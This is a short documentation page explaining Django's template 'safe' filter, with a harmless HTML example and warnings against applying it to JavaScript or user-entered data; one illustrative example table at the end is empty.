The safe
filter indicates that the value is known to be safe and therefore does not need to be escaped. For example, given the following:
blurb = '<p>You are <em>pretty</em> smart!</p>'
This would return unescaped HTML to the client:
{{ blurb|safe }}
Result
<p>You are <em>pretty</em> smart!</p>
The client (e.g., a browser) would then interpret was returned, so your users would see this HTML in the browser:
You are pretty smart!
Warning 1: Not for JavaScript
The safe
filter is not to be used for escaping JavaScript code.
See Adam Johnson’s Safely Including Data for JavaScript in a Django Template for details.
Warning 2: Not for User-entered Data
Never trust user-entered data. Only use this if you are sure the content is safe (i.e., you wrote it).
Commentary
In most cases, we recommend using this filter instead of the
autoescape
tag, because it is specific to a variable and less likely to result in unintended (and potentially dangerous) output. However, you must be careful with thesafe
filter as well.Consider the following:
Variable
Template
Result
See the commentary on the
autoescape
tag for more details.